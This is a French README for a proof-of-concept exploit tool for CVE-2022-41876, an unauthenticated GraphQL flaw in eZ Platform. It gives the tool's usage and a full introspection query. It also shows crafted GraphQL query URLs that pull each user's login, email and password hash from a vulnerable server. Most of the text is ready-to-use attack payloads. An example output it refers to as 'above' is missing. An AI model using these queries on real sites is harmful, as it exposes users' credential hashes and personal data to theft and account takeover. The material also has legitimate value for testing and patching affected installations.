
PoC pour CVE-2022-41876
Une vulnérabilité est apparue dans eZ Platform permettant à un utilisateur non authentifié d'accéder au hash du mot de passe de chaque contributeur. Ce PoC énumère tous les chemins GraphQL possibles menant à un objet 'User', puis interroge ces chemins pour récupérer les informations confidentielles des utilisateurs.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url URL cible (spécifiez le point de terminaison graphql)
optional arguments:
-h, --help afficher ce message d'aide et quitter
-t, --thread Nombre de threads
-f FILE, --file FILE Chemin local vers le fichier d'introspection

Les différentes étapes suivies par cet outil pour exploiter la CVE sont :
La première étape pour exploiter cette CVE est d'obtenir un fichier introspect.json. Une façon de le récupérer est d'interroger le point de terminaison graphql du serveur avec la charge utile suivante :
https://<votre-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Ensuite, le json fourni par le serveur peut être utilisé pour extraire tous les chemins vers les objets 'User' avec l'outil graphql-enum-path comme ceci :

Enfin, une fois tous les chemins trouvés, une charge utile spécifique doit être conçue de cette manière et envoyée au serveur :
https://<votre-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Où les éléments correspondent aux textes entre crochets dans le résultat de graphql-enum-path (notez qu'une requête doit être faite pour chaque chemin).
Ainsi, avec l'exemple graphql-enum-path ci-dessus, la première charge utile serait :
https://<votre-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Si le serveur est vulnérable à cette CVE, il répondra à cette requête avec un fichier json contenant les données de ses utilisateurs.